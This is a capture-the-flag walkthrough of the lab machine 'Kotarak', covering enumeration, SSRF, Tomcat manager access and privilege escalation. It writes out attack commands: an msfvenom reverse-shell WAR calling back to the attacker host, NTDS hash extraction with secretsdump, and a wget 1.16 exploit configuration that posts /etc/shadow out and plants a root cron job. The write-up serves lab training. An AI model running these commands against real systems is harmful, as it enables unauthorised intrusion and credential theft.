search

Kotarak

hashtag
Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.55 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,8009,8080,60000 10.10.10.55 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Website in port 8080 shows an Apache Tomcat application.

But we don't have credentials for the /manager/html administration panel.

The website on port 60000 shows a private web browser. But none of the left buttons work.

If we search anything random, we'll be redirected to the following URL.

http://10.10.10.55:60000/url.php?path=test

We could try to search web services such us the Apache Tomcat available on port 8080.

http://10.10.10.55:60000/url.php?path=localhost:8080arrow-up-right

hashtag
Exploitation

And it loads! This means that we could try to exploit an SSRF attack.

circle-info

Server Side Request Forgery (SSRF) is a type of exploitation in which an attacker abuses the functionality of a server and causes it to access or manipulate information within the scope of that server that would not otherwise be directly accessible to the attacker.

I wrote the following script in bash which will try to access localhost:$port, and check if the port is open.

If we run the exploit, we'll see that now we can access more ports, such as ports 22, 90, 110, 200, 320, 888, 3306, 8080 or 60000.

bash exploit.sh

The only new interesting port seems to be port 888.

If we take a look at the backup file we won't see anything.

http://10.10.10.55:60000/url.php?path=localhost:888/?doc=backuparrow-up-right

But, if we check its source code, we'll see the common configuration file for Tomcat, with some credentials.

Trying those credentials in the /manager/html login popup will give us access to the Tomcat manager.

Now, we are able to see the Tomcat Web Application Manager.

Time to get a shell. If we check out the web page, we could see there is a Deploy section in which we can upload WAR files.

circle-info

The following link explains what WAR files are:

http://java.boot.by/wcd-guide/ch02s04.htmlarrow-up-right

At this point, the idea is to create a WAR payload with msfvenom, upload it to the web page, and get a reverse shell.

msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.15 lport=4444 -f war -o reverse_shell.war

  • -p indicates the type of payload.

  • lhost local host IP.

  • lport local port of the listener.

  • -f output format.

  • -o save the output to a file.

All we have to do is upload the payload and hit Deploy.

Under the Application section, a new row should appear with the path of our uploaded payload.

Finally, all we have to do is set a netcat listener on port 4444 and hit the /reverse_shell path.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

hashtag
Privilege Escalation

First, let's set an interactive TTY shell.

python -c 'import pty;pty.spawn("/bin/bash")'

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

As the flag is under the /home/atanas directory, we will have to become the atanas user.

find / -name user.txt 2>/dev/null

Inside the /home/tomcat directory, there is another one called to_archive, with another one inside called pentest_data, with a few files inside.

ls -l /home/tomcat/to_archive/pentest_data

These files seem to be an extract of the Windows NTDS database. Let's transfer those to our machine.

python -m SimpleHTTPServer 1234

On our local machine.

wget http://10.10.10.55:1234/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit -O ntds.dit

wget http://10.10.10.55:1234/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin -O ntds.bin

Now, we can extract the NTLM hashes with the secretsdump tool from impacket.

impacket-secretsdump -ntds ntds.dit -system ntds.bin LOCAL

I tried to search those NTLM hashes in rainbow tables such as crackstation, and there were two hashes with the passwords f16tomcat! and Password123!.

Now, we can log in as atanas using the f16tomcat! password. Then, we'll be able to grab the user flag.

su atanas

It looks like we can see the content of the /root directory, which has two files.

ls -l /root

The flag.txt file is not the root flag we are looking for.

cat flag.txt

If we check the network interfaces, we'll see that there is one called lxbr0 which seems to be from a container.

ifconfig

And the app.log file contains logs from the machine 10.0.3.133 trying to download with Wget/1.16 a file called archive.tar.gz.

cat app.log

The machine seems to be active.

ping -c 1 10.0.3.133

If we try to set a simple HTTP server with python on port 80, we will get a permission denied error.

python -m SimpleHTTPServer 80

But, authbind is available on the machine, and we are able to listen on port 21, and 80.

ls -l /etc/authbind/byport/

We can listen on port 80 with authbind. And there seems to be a cron job running the wget command.

authbind nc -lvnp 80

Note that the version of wget is 1.16, which is vulnerable to a Remote Command Execution exploitarrow-up-right. To get access to the container, first create the directory /tmp/ftptest and access it.

mkdir /tmp/ftptest

cd /tmp/ftptest

Then, create the file .wgetrc with the following content.

cat <<_EOF_>.wgetrc

post_file = /etc/shadow

output_document = /etc/cron.d/wget-root-shell

_EOF_

Now, create the wget-exploit.py script with the following content.

Now, start an FTP server with python in the background.

authbind python -m pyftpdlib -p21 -w &

Set a netcat listener on port 5555 on our local machine.

nc -lvnp 5555

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then, run the wget-exploit.py script on the victim machine.

authbind python wget-exploit.py

Now, we'll have to wait for a minute until the cron job gets executed, and then we'll get a reverse shell as root in the container machine. Then, all we have to do is reap the harvest and take the root flag.

Last updated